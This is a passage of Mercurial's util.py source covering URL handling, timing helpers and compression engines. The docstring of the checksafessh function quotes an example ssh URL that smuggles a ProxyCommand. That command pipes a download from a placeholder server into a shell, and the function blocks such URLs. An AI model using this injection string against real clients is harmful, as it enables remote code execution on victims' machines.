2768 2768 elif self.scheme and (not self.path or self.path.startswith('/')
2769 2769 or hasdriveletter(self.path)):
2770 2770 s += '//'
2771 2771 if hasdriveletter(self.path):
2772 2772 s += '/'
2773 2773 if self.user:
2774 2774 s += urlreq.quote(self.user, safe=self._safechars)
2775 2775 if self.passwd:
2776 2776 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2777 2777 if self.user or self.passwd:
2778 2778 s += '@'
2779 2779 if self.host:
2780 2780 if not (self.host.startswith('[') and self.host.endswith(']')):
2781 2781 s += urlreq.quote(self.host)
2782 2782 else:
2783 2783 s += self.host
2784 2784 if self.port:
2785 2785 s += ':' + urlreq.quote(self.port)
2786 2786 if self.host:
2787 2787 s += '/'
2788 2788 if self.path:
2789 2789 # TODO: similar to the query string, we should not unescape the
2790 2790 # path when we store it, the path might contain '%2f' = '/',
2791 2791 # which we should *not* escape.
2792 2792 s += urlreq.quote(self.path, safe=self._safepchars)
2793 2793 if self.query:
2794 2794 # we store the query in escaped form.
2795 2795 s += '?' + self.query
2796 2796 if self.fragment is not None:
2797 2797 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2798 2798 return s
2799 2799
2800 2800 __str__ = encoding.strmethod(__bytes__)
2801 2801
2802 2802 def authinfo(self):
2803 2803 user, passwd = self.user, self.passwd
2804 2804 try:
2805 2805 self.user, self.passwd = None, None
2806 2806 s = bytes(self)
2807 2807 finally:
2808 2808 self.user, self.passwd = user, passwd
2809 2809 if not self.user:
2810 2810 return (s, None)
2811 2811 # authinfo[1] is passed to urllib2 password manager, and its
2812 2812 # URIs must not contain credentials. The host is passed in the
2813 2813 # URIs list because Python < 2.4.3 uses only that to search for
2814 2814 # a password.
2815 2815 return (s, (None, (s, self.host),
2816 2816 self.user, self.passwd or ''))
2817 2817
2818 2818 def isabs(self):
2819 2819 if self.scheme and self.scheme != 'file':
2820 2820 return True # remote URL
2821 2821 if hasdriveletter(self.path):
2822 2822 return True # absolute for our purposes - can't be joined()
2823 2823 if self.path.startswith(br'\\'):
2824 2824 return True # Windows UNC path
2825 2825 if self.path.startswith('/'):
2826 2826 return True # POSIX-style
2827 2827 return False
2828 2828
2829 2829 def localpath(self):
2830 2830 if self.scheme == 'file' or self.scheme == 'bundle':
2831 2831 path = self.path or '/'
2832 2832 # For Windows, we need to promote hosts containing drive
2833 2833 # letters to paths with drive letters.
2834 2834 if hasdriveletter(self._hostport):
2835 2835 path = self._hostport + '/' + self.path
2836 2836 elif (self.host is not None and self.path
2837 2837 and not hasdriveletter(path)):
2838 2838 path = '/' + path
2839 2839 return path
2840 2840 return self._origpath
2841 2841
2842 2842 def islocal(self):
2843 2843 '''whether localpath will return something that posixfile can open'''
2844 2844 return (not self.scheme or self.scheme == 'file'
2845 2845 or self.scheme == 'bundle')
2846 2846
2847 2847 def hasscheme(path):
2848 2848 return bool(url(path).scheme)
2849 2849
2850 2850 def hasdriveletter(path):
2851 2851 return path and path[1:2] == ':' and path[0:1].isalpha()
2852 2852
2853 2853 def urllocalpath(path):
2854 2854 return url(path, parsequery=False, parsefragment=False).localpath()
2855 2855
2856 2856 def checksafessh(path):
2857 2857 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2858 2858
2859 2859 This is a sanity check for ssh urls. ssh will parse the first item as
2860 2860 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2861 2861 Let's prevent these potentially exploited urls entirely and warn the
2862 2862 user.
2863 2863
2864 2864 Raises an error.Abort when the url is unsafe.
2865 2865 """
2866 2866 path = urlreq.unquote(path)
2867 2867 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2868 2868 raise error.Abort(_('potentially unsafe url: %r') %
2869 2869 (pycompat.bytestr(path),))
2870 2870
2871 2871 def hidepassword(u):
2872 2872 '''hide user credential in a url string'''
2873 2873 u = url(u)
2874 2874 if u.passwd:
2875 2875 u.passwd = '***'
2876 2876 return bytes(u)
2877 2877
2878 2878 def removeauth(u):
2879 2879 '''remove all authentication information from a url string'''
2880 2880 u = url(u)
2881 2881 u.user = u.passwd = None
2882 2882 return bytes(u)
2883 2883
2884 2884 timecount = unitcountfn(
2885 2885 (1, 1e3, _('%.0f s')),
2886 2886 (100, 1, _('%.1f s')),
2887 2887 (10, 1, _('%.2f s')),
2888 2888 (1, 1, _('%.3f s')),
2889 2889 (100, 0.001, _('%.1f ms')),
2890 2890 (10, 0.001, _('%.2f ms')),
2891 2891 (1, 0.001, _('%.3f ms')),
2892 2892 (100, 0.000001, _('%.1f us')),
2893 2893 (10, 0.000001, _('%.2f us')),
2894 2894 (1, 0.000001, _('%.3f us')),
2895 2895 (100, 0.000000001, _('%.1f ns')),
2896 2896 (10, 0.000000001, _('%.2f ns')),
2897 2897 (1, 0.000000001, _('%.3f ns')),
2898 2898 )
2899 2899
2900 2900 _timenesting = [0]
2901 2901
2902 2902 def timed(func):
2903 2903 '''Report the execution time of a function call to stderr.
2904 2904
2905 2905 During development, use as a decorator when you need to measure
2906 2906 the cost of a function, e.g. as follows:
2907 2907
2908 2908 @util.timed
2909 2909 def foo(a, b, c):
2910 2910 pass
2911 2911 '''
2912 2912
2913 2913 def wrapper(*args, **kwargs):
2914 2914 start = timer()
2915 2915 indent = 2
2916 2916 _timenesting[0] += indent
2917 2917 try:
2918 2918 return func(*args, **kwargs)
2919 2919 finally:
2920 2920 elapsed = timer() - start
2921 2921 _timenesting[0] -= indent
2922 2922 stderr.write('%s%s: %s\n' %
2923 2923 (' ' * _timenesting[0], func.__name__,
2924 2924 timecount(elapsed)))
2925 2925 return wrapper
2926 2926
2927 2927 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2928 2928 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2929 2929
2930 2930 def sizetoint(s):
2931 2931 '''Convert a space specifier to a byte count.
2932 2932
2933 2933 >>> sizetoint(b'30')
2934 2934 30
2935 2935 >>> sizetoint(b'2.2kb')
2936 2936 2252
2937 2937 >>> sizetoint(b'6M')
2938 2938 6291456
2939 2939 '''
2940 2940 t = s.strip().lower()
2941 2941 try:
2942 2942 for k, u in _sizeunits:
2943 2943 if t.endswith(k):
2944 2944 return int(float(t[:-len(k)]) * u)
2945 2945 return int(t)
2946 2946 except ValueError:
2947 2947 raise error.ParseError(_("couldn't parse size: %s") % s)
2948 2948
2949 2949 class hooks(object):
2950 2950 '''A collection of hook functions that can be used to extend a
2951 2951 function's behavior. Hooks are called in lexicographic order,
2952 2952 based on the names of their sources.'''
2953 2953
2954 2954 def __init__(self):
2955 2955 self._hooks = []
2956 2956
2957 2957 def add(self, source, hook):
2958 2958 self._hooks.append((source, hook))
2959 2959
2960 2960 def __call__(self, *args):
2961 2961 self._hooks.sort(key=lambda x: x[0])
2962 2962 results = []
2963 2963 for source, hook in self._hooks:
2964 2964 results.append(hook(*args))
2965 2965 return results
2966 2966
2967 2967 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2968 2968 '''Yields lines for a nicely formatted stacktrace.
2969 2969 Skips the 'skip' last entries, then return the last 'depth' entries.
2970 2970 Each file+linenumber is formatted according to fileline.
2971 2971 Each line is formatted according to line.
2972 2972 If line is None, it yields:
2973 2973 length of longest filepath+line number,
2974 2974 filepath+linenumber,
2975 2975 function
2976 2976
2977 2977 Not be used in production code but very convenient while developing.
2978 2978 '''
2979 2979 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2980 2980 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2981 2981 ][-depth:]
2982 2982 if entries:
2983 2983 fnmax = max(len(entry[0]) for entry in entries)
2984 2984 for fnln, func in entries:
2985 2985 if line is None:
2986 2986 yield (fnmax, fnln, func)
2987 2987 else:
2988 2988 yield line % (fnmax, fnln, func)
2989 2989
2990 2990 def debugstacktrace(msg='stacktrace', skip=0,
2991 2991 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2992 2992 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2993 2993 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2994 2994 By default it will flush stdout first.
2995 2995 It can be used everywhere and intentionally does not require an ui object.
2996 2996 Not be used in production code but very convenient while developing.
2997 2997 '''
2998 2998 if otherf:
2999 2999 otherf.flush()
3000 3000 f.write('%s at:\n' % msg.rstrip())
3001 3001 for line in getstackframes(skip + 1, depth=depth):
3002 3002 f.write(line)
3003 3003 f.flush()
3004 3004
3005 3005 class dirs(object):
3006 3006 '''a multiset of directory names from a dirstate or manifest'''
3007 3007
3008 3008 def __init__(self, map, skip=None):
3009 3009 self._dirs = {}
3010 3010 addpath = self.addpath
3011 3011 if safehasattr(map, 'iteritems') and skip is not None:
3012 3012 for f, s in map.iteritems():
3013 3013 if s[0] != skip:
3014 3014 addpath(f)
3015 3015 else:
3016 3016 for f in map:
3017 3017 addpath(f)
3018 3018
3019 3019 def addpath(self, path):
3020 3020 dirs = self._dirs
3021 3021 for base in finddirs(path):
3022 3022 if base in dirs:
3023 3023 dirs[base] += 1
3024 3024 return
3025 3025 dirs[base] = 1
3026 3026
3027 3027 def delpath(self, path):
3028 3028 dirs = self._dirs
3029 3029 for base in finddirs(path):
3030 3030 if dirs[base] > 1:
3031 3031 dirs[base] -= 1
3032 3032 return
3033 3033 del dirs[base]
3034 3034
3035 3035 def __iter__(self):
3036 3036 return iter(self._dirs)
3037 3037
3038 3038 def __contains__(self, d):
3039 3039 return d in self._dirs
3040 3040
3041 3041 if safehasattr(parsers, 'dirs'):
3042 3042 dirs = parsers.dirs
3043 3043
3044 3044 def finddirs(path):
3045 3045 pos = path.rfind('/')
3046 3046 while pos != -1:
3047 3047 yield path[:pos]
3048 3048 pos = path.rfind('/', 0, pos)
3049 3049
3050 3050 # compression code
3051 3051
3052 3052 SERVERROLE = 'server'
3053 3053 CLIENTROLE = 'client'
3054 3054
3055 3055 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3056 3056 (u'name', u'serverpriority',
3057 3057 u'clientpriority'))
3058 3058
3059 3059 class compressormanager(object):
3060 3060 """Holds registrations of various compression engines.
3061 3061
3062 3062 This class essentially abstracts the differences between compression
3063 3063 engines to allow new compression formats to be added easily, possibly from
3064 3064 extensions.
3065 3065
3066 3066 Compressors are registered against the global instance by calling its
3067 3067 ``register()`` method.
3068 3068 """
3069 3069 def __init__(self):
3070 3070 self._engines = {}
3071 3071 # Bundle spec human name to engine name.
3072 3072 self._bundlenames = {}
3073 3073 # Internal bundle identifier to engine name.
3074 3074 self._bundletypes = {}
3075 3075 # Revlog header to engine name.
3076 3076 self._revlogheaders = {}
3077 3077 # Wire proto identifier to engine name.
3078 3078 self._wiretypes = {}
3079 3079
3080 3080 def __getitem__(self, key):
3081 3081 return self._engines[key]
3082 3082
3083 3083 def __contains__(self, key):
3084 3084 return key in self._engines
3085 3085
3086 3086 def __iter__(self):
3087 3087 return iter(self._engines.keys())
3088 3088
3089 3089 def register(self, engine):
3090 3090 """Register a compression engine with the manager.
3091 3091
3092 3092 The argument must be a ``compressionengine`` instance.
3093 3093 """
3094 3094 if not isinstance(engine, compressionengine):
3095 3095 raise ValueError(_('argument must be a compressionengine'))
3096 3096
3097 3097 name = engine.name()
3098 3098
3099 3099 if name in self._engines:
3100 3100 raise error.Abort(_('compression engine %s already registered') %
3101 3101 name)
3102 3102
3103 3103 bundleinfo = engine.bundletype()
3104 3104 if bundleinfo:
3105 3105 bundlename, bundletype = bundleinfo
3106 3106
3107 3107 if bundlename in self._bundlenames:
3108 3108 raise error.Abort(_('bundle name %s already registered') %
3109 3109 bundlename)
3110 3110 if bundletype in self._bundletypes:
3111 3111 raise error.Abort(_('bundle type %s already registered by %s') %
3112 3112 (bundletype, self._bundletypes[bundletype]))
3113 3113
3114 3114 # No external facing name declared.
3115 3115 if bundlename:
3116 3116 self._bundlenames[bundlename] = name
3117 3117
3118 3118 self._bundletypes[bundletype] = name
3119 3119
3120 3120 wiresupport = engine.wireprotosupport()
3121 3121 if wiresupport:
3122 3122 wiretype = wiresupport.name
3123 3123 if wiretype in self._wiretypes:
3124 3124 raise error.Abort(_('wire protocol compression %s already '
3125 3125 'registered by %s') %
3126 3126 (wiretype, self._wiretypes[wiretype]))
3127 3127
3128 3128 self._wiretypes[wiretype] = name
3129 3129
3130 3130 revlogheader = engine.revlogheader()
3131 3131 if revlogheader and revlogheader in self._revlogheaders:
3132 3132 raise error.Abort(_('revlog header %s already registered by %s') %
3133 3133 (revlogheader, self._revlogheaders[revlogheader]))
3134 3134
3135 3135 if revlogheader:
3136 3136 self._revlogheaders[revlogheader] = name
3137 3137
3138 3138 self._engines[name] = engine
3139 3139
3140 3140 @property
3141 3141 def supportedbundlenames(self):
3142 3142 return set(self._bundlenames.keys())
3143 3143
3144 3144 @property
3145 3145 def supportedbundletypes(self):
3146 3146 return set(self._bundletypes.keys())
3147 3147
3148 3148 def forbundlename(self, bundlename):
3149 3149 """Obtain a compression engine registered to a bundle name.
3150 3150
3151 3151 Will raise KeyError if the bundle type isn't registered.
3152 3152
3153 3153 Will abort if the engine is known but not available.
3154 3154 """
3155 3155 engine = self._engines[self._bundlenames[bundlename]]
3156 3156 if not engine.available():
3157 3157 raise error.Abort(_('compression engine %s could not be loaded') %
3158 3158 engine.name())
3159 3159 return engine
3160 3160
3161 3161 def forbundletype(self, bundletype):
3162 3162 """Obtain a compression engine registered to a bundle type.
3163 3163
3164 3164 Will raise KeyError if the bundle type isn't registered.
3165 3165
3166 3166 Will abort if the engine is known but not available.
3167 3167 """
3168 3168 engine = self._engines[self._bundletypes[bundletype]]
3169 3169 if not engine.available():
3170 3170 raise error.Abort(_('compression engine %s could not be loaded') %
3171 3171 engine.name())
3172 3172 return engine
3173 3173
3174 3174 def supportedwireengines(self, role, onlyavailable=True):
3175 3175 """Obtain compression engines that support the wire protocol.
3176 3176
3177 3177 Returns a list of engines in prioritized order, most desired first.
3178 3178
3179 3179 If ``onlyavailable`` is set, filter out engines that can't be
3180 3180 loaded.
3181 3181 """
3182 3182 assert role in (SERVERROLE, CLIENTROLE)
3183 3183
3184 3184 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3185 3185
3186 3186 engines = [self._engines[e] for e in self._wiretypes.values()]
3187 3187 if onlyavailable:
3188 3188 engines = [e for e in engines if e.available()]
3189 3189
3190 3190 def getkey(e):
3191 3191 # Sort first by priority, highest first. In case of tie, sort
3192 3192 # alphabetically. This is arbitrary, but ensures output is
3193 3193 # stable.
3194 3194 w = e.wireprotosupport()
3195 3195 return -1 * getattr(w, attr), w.name
3196 3196
3197 3197 return list(sorted(engines, key=getkey))
3198 3198
3199 3199 def forwiretype(self, wiretype):
3200 3200 engine = self._engines[self._wiretypes[wiretype]]
3201 3201 if not engine.available():
3202 3202 raise error.Abort(_('compression engine %s could not be loaded') %
3203 3203 engine.name())
3204 3204 return engine
3205 3205
3206 3206 def forrevlogheader(self, header):
3207 3207 """Obtain a compression engine registered to a revlog header.
3208 3208
3209 3209 Will raise KeyError if the revlog header value isn't registered.
3210 3210 """
3211 3211 return self._engines[self._revlogheaders[header]]
3212 3212
3213 3213 compengines = compressormanager()
3214 3214
3215 3215 class compressionengine(object):
3216 3216 """Base class for compression engines.
3217 3217
3218 3218 Compression engines must implement the interface defined by this class.
3219 3219 """
3220 3220 def name(self):
3221 3221 """Returns the name of the compression engine.
3222 3222
3223 3223 This is the key the engine is registered under.
3224 3224
3225 3225 This method must be implemented.
3226 3226 """
3227 3227 raise NotImplementedError()
3228 3228
3229 3229 def available(self):
3230 3230 """Whether the compression engine is available.
3231 3231
3232 3232 The intent of this method is to allow optional compression engines
3233 3233 that may not be available in all installations (such as engines relying
3234 3234 on C extensions that may not be present).
3235 3235 """
3236 3236 return True
3237 3237
3238 3238 def bundletype(self):
3239 3239 """Describes bundle identifiers for this engine.
3240 3240
3241 3241 If this compression engine isn't supported for bundles, returns None.
3242 3242
3243 3243 If this engine can be used for bundles, returns a 2-tuple of strings of
3244 3244 the user-facing "bundle spec" compression name and an internal
3245 3245 identifier used to denote the compression format within bundles. To
3246 3246 exclude the name from external usage, set the first element to ``None``.
3247 3247
3248 3248 If bundle compression is supported, the class must also implement
3249 3249 ``compressstream`` and `decompressorreader``.
3250 3250
3251 3251 The docstring of this method is used in the help system to tell users
3252 3252 about this engine.
3253 3253 """
3254 3254 return None
3255 3255
3256 3256 def wireprotosupport(self):
3257 3257 """Declare support for this compression format on the wire protocol.
3258 3258
3259 3259 If this compression engine isn't supported for compressing wire
3260 3260 protocol payloads, returns None.
3261 3261
3262 3262 Otherwise, returns ``compenginewireprotosupport`` with the following
3263 3263 fields:
3264 3264
3265 3265 * String format identifier
3266 3266 * Integer priority for the server
3267 3267 * Integer priority for the client
3268 3268
3269 3269 The integer priorities are used to order the advertisement of format
3270 3270 support by server and client. The highest integer is advertised
3271 3271 first. Integers with non-positive values aren't advertised.
3272 3272
3273 3273 The priority values are somewhat arbitrary and only used for default
3274 3274 ordering. The relative order can be changed via config options.
3275 3275
3276 3276 If wire protocol compression is supported, the class must also implement
3277 3277 ``compressstream`` and ``decompressorreader``.
3278 3278 """
3279 3279 return None
3280 3280
3281 3281 def revlogheader(self):
3282 3282 """Header added to revlog chunks that identifies this engine.
3283 3283
3284 3284 If this engine can be used to compress revlogs, this method should
3285 3285 return the bytes used to identify chunks compressed with this engine.
3286 3286 Else, the method should return ``None`` to indicate it does not
3287 3287 participate in revlog compression.
3288 3288 """
3289 3289 return None
3290 3290
3291 3291 def compressstream(self, it, opts=None):
3292 3292 """Compress an iterator of chunks.
3293 3293
3294 3294 The method receives an iterator (ideally a generator) of chunks of
3295 3295 bytes to be compressed. It returns an iterator (ideally a generator)
3296 3296 of bytes of chunks representing the compressed output.
3297 3297
3298 3298 Optionally accepts an argument defining how to perform compression.
3299 3299 Each engine treats this argument differently.
3300 3300 """
3301 3301 raise NotImplementedError()
3302 3302
3303 3303 def decompressorreader(self, fh):
3304 3304 """Perform decompression on a file object.
3305 3305
3306 3306 Argument is an object with a ``read(size)`` method that returns
3307 3307 compressed data. Return value is an object with a ``read(size)`` that
3308 3308 returns uncompressed data.
3309 3309 """
3310 3310 raise NotImplementedError()
3311 3311
3312 3312 def revlogcompressor(self, opts=None):
3313 3313 """Obtain an object that can be used to compress revlog entries.
3314 3314
3315 3315 The object has a ``compress(data)`` method that compresses binary
3316 3316 data. This method returns compressed binary data or ``None`` if
3317 3317 the data could not be compressed (too small, not compressible, etc).
3318 3318 The returned data should have a header uniquely identifying this
3319 3319 compression format so decompression can be routed to this engine.
3320 3320 This header should be identified by the ``revlogheader()`` return
3321 3321 value.
3322 3322
3323 3323 The object has a ``decompress(data)`` method that decompresses
3324 3324 data. The method will only be called if ``data`` begins with
3325 3325 ``revlogheader()``. The method should return the raw, uncompressed
3326 3326 data or raise a ``RevlogError``.
3327 3327
3328 3328 The object is reusable but is not thread safe.
3329 3329 """
3330 3330 raise NotImplementedError()
3331 3331
3332 3332 class _zlibengine(compressionengine):
3333 3333 def name(self):
3334 3334 return 'zlib'
3335 3335
3336 3336 def bundletype(self):
3337 3337 """zlib compression using the DEFLATE algorithm.
3338 3338
3339 3339 All Mercurial clients should support this format. The compression
3340 3340 algorithm strikes a reasonable balance between compression ratio
3341 3341 and size.
3342 3342 """
3343 3343 return 'gzip', 'GZ'
3344 3344
3345 3345 def wireprotosupport(self):
3346 3346 return compewireprotosupport('zlib', 20, 20)
3347 3347
3348 3348 def revlogheader(self):
3349 3349 return 'x'
3350 3350
3351 3351 def compressstream(self, it, opts=None):
3352 3352 opts = opts or {}
3353 3353
3354 3354 z = zlib.compressobj(opts.get('level', -1))
3355 3355 for chunk in it:
3356 3356 data = z.compress(chunk)
3357 3357 # Not all calls to compress emit data. It is cheaper to inspect
3358 3358 # here than to feed empty chunks through generator.
3359 3359 if data:
3360 3360 yield data
3361 3361
3362 3362 yield z.flush()
3363 3363
3364 3364 def decompressorreader(self, fh):
3365 3365 def gen():
3366 3366 d = zlib.decompressobj()
3367 3367 for chunk in filechunkiter(fh):
3368 3368 while chunk:
3369 3369 # Limit output size to limit memory.
3370 3370 yield d.decompress(chunk, 2 ** 18)
3371 3371 chunk = d.unconsumed_tail
3372 3372
3373 3373 return chunkbuffer(gen())
3374 3374
3375 3375 class zlibrevlogcompressor(object):
3376 3376 def compress(self, data):
3377 3377 insize = len(data)
3378 3378 # Caller handles empty input case.
3379 3379 assert insize > 0
3380 3380
3381 3381 if insize < 44:
3382 3382 return None
3383 3383
3384 3384 elif insize <= 1000000:
3385 3385 compressed = zlib.compress(data)
3386 3386 if len(compressed) < insize:
3387 3387 return compressed
3388 3388 return None
3389 3389
3390 3390 # zlib makes an internal copy of the input buffer, doubling
3391 3391 # memory usage for large inputs. So do streaming compression
3392 3392 # on large inputs.
3393 3393 else:
3394 3394 z = zlib.compressobj()
3395 3395 parts = []
3396 3396 pos = 0
3397 3397 while pos < insize:
3398 3398 pos2 = pos + 2**20
3399 3399 parts.append(z.compress(data[pos:pos2]))
3400 3400 pos = pos2
3401 3401 parts.append(z.flush())
3402 3402
3403 3403 if sum(map(len, parts)) < insize:
3404 3404 return ''.join(parts)
3405 3405 return None
3406 3406
3407 3407 def decompress(self, data):
3408 3408 try:
3409 3409 return zlib.decompress(data)
3410 3410 except zlib.error as e:
3411 3411 raise error.RevlogError(_('revlog decompress error: %s') %
3412 3412 stringutil.forcebytestr(e))
3413 3413
3414 3414 def revlogcompressor(self, opts=None):
3415 3415 return self.zlibrevlogcompressor()
3416 3416
3417 3417 compengines.register(_zlibengine())
3418 3418
3419 3419 class _bz2engine(compressionengine):
3420 3420 def name(self):
3421 3421 return 'bz2'
3422 3422
3423 3423 def bundletype(self):
3424 3424 """An algorithm that produces smaller bundles than ``gzip``.
3425 3425
3426 3426 All Mercurial clients should support this format.
3427 3427
3428 3428 This engine will likely produce smaller bundles than ``gzip`` but
3429 3429 will be significantly slower, both during compression and
3430 3430 decompression.
3431 3431
3432 3432 If available, the ``zstd`` engine can yield similar or better
3433 3433 compression at much higher speeds.
3434 3434 """
3435 3435 return 'bzip2', 'BZ'
3436 3436
3437 3437 # We declare a protocol name but don't advertise by default because
3438 3438 # it is slow.
3439 3439 def wireprotosupport(self):
3440 3440 return compewireprotosupport('bzip2', 0, 0)
3441 3441
3442 3442 def compressstream(self, it, opts=None):
3443 3443 opts = opts or {}
3444 3444 z = bz2.BZ2Compressor(opts.get('level', 9))
3445 3445 for chunk in it:
3446 3446 data = z.compress(chunk)
3447 3447 if data:
3448 3448 yield data
3449 3449
3450 3450 yield z.flush()
3451 3451
3452 3452 def decompressorreader(self, fh):
3453 3453 def gen():
3454 3454 d = bz2.BZ2Decompressor()
3455 3455 for chunk in filechunkiter(fh):
3456 3456 yield d.decompress(chunk)
3457 3457
3458 3458 return chunkbuffer(gen())
3459 3459
3460 3460 compengines.register(_bz2engine())
3461 3461
3462 3462 class _truncatedbz2engine(compressionengine):
3463 3463 def name(self):
3464 3464 return 'bz2truncated'
3465 3465
3466 3466 def bundletype(self):
3467 3467 return None, '_truncatedBZ'
3468 3468
3469 3469 # We don't implement compressstream because it is hackily handled elsewhere.
3470 3470
3471 3471 def decompressorreader(self, fh):
3472 3472 def gen():
3473 3473 # The input stream doesn't have the 'BZ' header. So add it back.
3474 3474 d = bz2.BZ2Decompressor()
3475 3475 d.decompress('BZ')
3476 3476 for chunk in filechunkiter(fh):
3477 3477 yield d.decompress(chunk)
3478 3478
3479 3479 return chunkbuffer(gen())
3480 3480
3481 3481 compengines.register(_truncatedbz2engine())
3482 3482
3483 3483 class _noopengine(compressionengine):
3484 3484 def name(self):
3485 3485 return 'none'
3486 3486
3487 3487 def bundletype(self):
3488 3488 """No compression is performed.
3489 3489
3490 3490 Use this compression engine to explicitly disable compression.
3491 3491 """
3492 3492 return 'none', 'UN'
3493 3493
3494 3494 # Clients always support uncompressed payloads. Servers don't because
3495 3495 # unless you are on a fast network, uncompressed payloads can easily
3496 3496 # saturate your network pipe.
3497 3497 def wireprotosupport(self):
3498 3498 return compewireprotosupport('none', 0, 10)
3499 3499
3500 3500 # We don't implement revlogheader because it is handled specially
3501 3501 # in the revlog class.
3502 3502
3503 3503 def compressstream(self, it, opts=None):
3504 3504 return it
3505 3505
3506 3506 def decompressorreader(self, fh):
3507 3507 return fh
3508 3508
3509 3509 class nooprevlogcompressor(object):
3510 3510 def compress(self, data):
3511 3511 return None
3512 3512
3513 3513 def revlogcompressor(self, opts=None):
3514 3514 return self.nooprevlogcompressor()
3515 3515
3516 3516 compengines.register(_noopengine())
3517 3517
3518 3518 class _zstdengine(compressionengine):
3519 3519 def name(self):
3520 3520 return 'zstd'
3521 3521
3522 3522 @propertycache
3523 3523 def _module(self):
3524 3524 # Not all installs have the zstd module available. So defer importing
3525 3525 # until first access.
3526 3526 try:
3527 3527 from . import zstd
3528 3528 # Force delayed import.
3529 3529 zstd.__version__
3530 3530 return zstd
3531 3531 except ImportError:
3532 3532 return None
3533 3533
3534 3534 def available(self):
3535 3535 return bool(self._module)
3536 3536
3537 3537 def bundletype(self):
3538 3538 """A modern compression algorithm that is fast and highly flexible.
3539 3539
3540 3540 Only supported by Mercurial 4.1 and newer clients.
3541 3541
3542 3542 With the default settings, zstd compression is both faster and yields
3543 3543 better compression than ``gzip``. It also frequently yields better
3544 3544 compression than ``bzip2`` while operating at much higher speeds.
3545 3545
3546 3546 If this engine is available and backwards compatibility is not a
3547 3547 concern, it is likely the best available engine.
3548 3548 """
3549 3549 return 'zstd', 'ZS'
3550 3550
3551 3551 def wireprotosupport(self):
3552 3552 return compewireprotosupport('zstd', 50, 50)
3553 3553
3554 3554 def revlogheader(self):
3555 3555 return '\x28'
3556 3556
3557 3557 def compressstream(self, it, opts=None):
3558 3558 opts = opts or {}
3559 3559 # zstd level 3 is almost always significantly faster than zlib
3560 3560 # while providing no worse compression. It strikes a good balance
3561 3561 # between speed and compression.
3562 3562 level = opts.get('level', 3)
3563 3563
3564 3564 zstd = self._module
3565 3565 z = zstd.ZstdCompressor(level=level).compressobj()
3566 3566 for chunk in it:
3567 3567 data = z.compress(chunk)
3568 3568 if data:
3569 3569 yield data
3570 3570
3571 3571 yield z.flush()
3572 3572
3573 3573 def decompressorreader(self, fh):
3574 3574 zstd = self._module
3575 3575 dctx = zstd.ZstdDecompressor()
3576 3576 return chunkbuffer(dctx.read_from(fh))
3577 3577
3578 3578 class zstdrevlogcompressor(object):
3579 3579 def __init__(self, zstd, level=3):
3580 3580 # TODO consider omitting frame magic to save 4 bytes.
3581 3581 # This writes content sizes into the frame header. That is
3582 3582 # extra storage. But it allows a correct size memory allocation
3583 3583 # to hold the result.
3584 3584 self._cctx = zstd.ZstdCompressor(level=level)
3585 3585 self._dctx = zstd.ZstdDecompressor()
3586 3586 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3587 3587 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3588 3588
3589 3589 def compress(self, data):
3590 3590 insize = len(data)
3591 3591 # Caller handles empty input case.
3592 3592 assert insize > 0
3593 3593
3594 3594 if insize < 50:
3595 3595 return None
3596 3596
3597 3597 elif insize <= 1000000:
3598 3598 compressed = self._cctx.compress(data)
3599 3599 if len(compressed) < insize:
3600 3600 return compressed
3601 3601 return None
3602 3602 else:
3603 3603 z = self._cctx.compressobj()
3604 3604 chunks = []
3605 3605 pos = 0
3606 3606 while pos < insize:
3607 3607 pos2 = pos + self._compinsize
3608 3608 chunk = z.compress(data[pos:pos2])
3609 3609 if chunk:
3610 3610 chunks.append(chunk)
3611 3611 pos = pos2
3612 3612 chunks.append(z.flush())
3613 3613
3614 3614 if sum(map(len, chunks)) < insize:
3615 3615 return ''.join(chunks)
3616 3616 return None
3617 3617
3618 3618 def decompress(self, data):
3619 3619 insize = len(data)
3620 3620
3621 3621 try:
3622 3622 # This was measured to be faster than other streaming
3623 3623 # decompressors.
3624 3624 dobj = self._dctx.decompressobj()
3625 3625 chunks = []
3626 3626 pos = 0
3627 3627 while pos < insize:
3628 3628 pos2 = pos + self._decompinsize
3629 3629 chunk = dobj.decompress(data[pos:pos2])
3630 3630 if chunk:
3631 3631 chunks.append(chunk)
3632 3632 pos = pos2
3633 3633 # Frame should be exhausted, so no finish() API.
3634 3634
3635 3635 return ''.join(chunks)
3636 3636 except Exception as e:
3637 3637 raise error.RevlogError(_('revlog decompress error: %s') %
3638 3638 stringutil.forcebytestr(e))
3639 3639
3640 3640 def revlogcompressor(self, opts=None):
3641 3641 opts = opts or {}
3642 3642 return self.zstdrevlogcompressor(self._module,
3643 3643 level=opts.get('level', 3))
3644 3644
3645 3645 compengines.register(_zstdengine())
3646 3646
3647 3647 def bundlecompressiontopics():
3648 3648 """Obtains a list of available bundle compressions for use in help."""
3649 3649 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3650 3650 items = {}
3651 3651
3652 3652 # We need to format the docstring. So use a dummy object/type to hold it
3653 3653 # rather than mutating the original.
3654 3654 class docobject(object):
3655 3655 pass
3656 3656
3657 3657 for name in compengines:
3658 3658 engine = compengines[name]
3659 3659
3660 3660 if not engine.available():
3661 3661 continue
3662 3662
3663 3663 bt = engine.bundletype()
3664 3664 if not bt or not bt[0]:
3665 3665 continue
3666 3666
3667 3667 doc = pycompat.sysstr('``%s``\n %s') % (
3668 3668 bt[0], engine.bundletype.__doc__)
3669 3669
3670 3670 value = docobject()
3671 3671 value.__doc__ = doc
3672 3672 value._origdoc = engine.bundletype.__doc__
3673 3673 value._origfunc = engine.bundletype
3674 3674
3675 3675 items[bt[0]] = value
3676 3676
3677 3677 return items
3678 3678
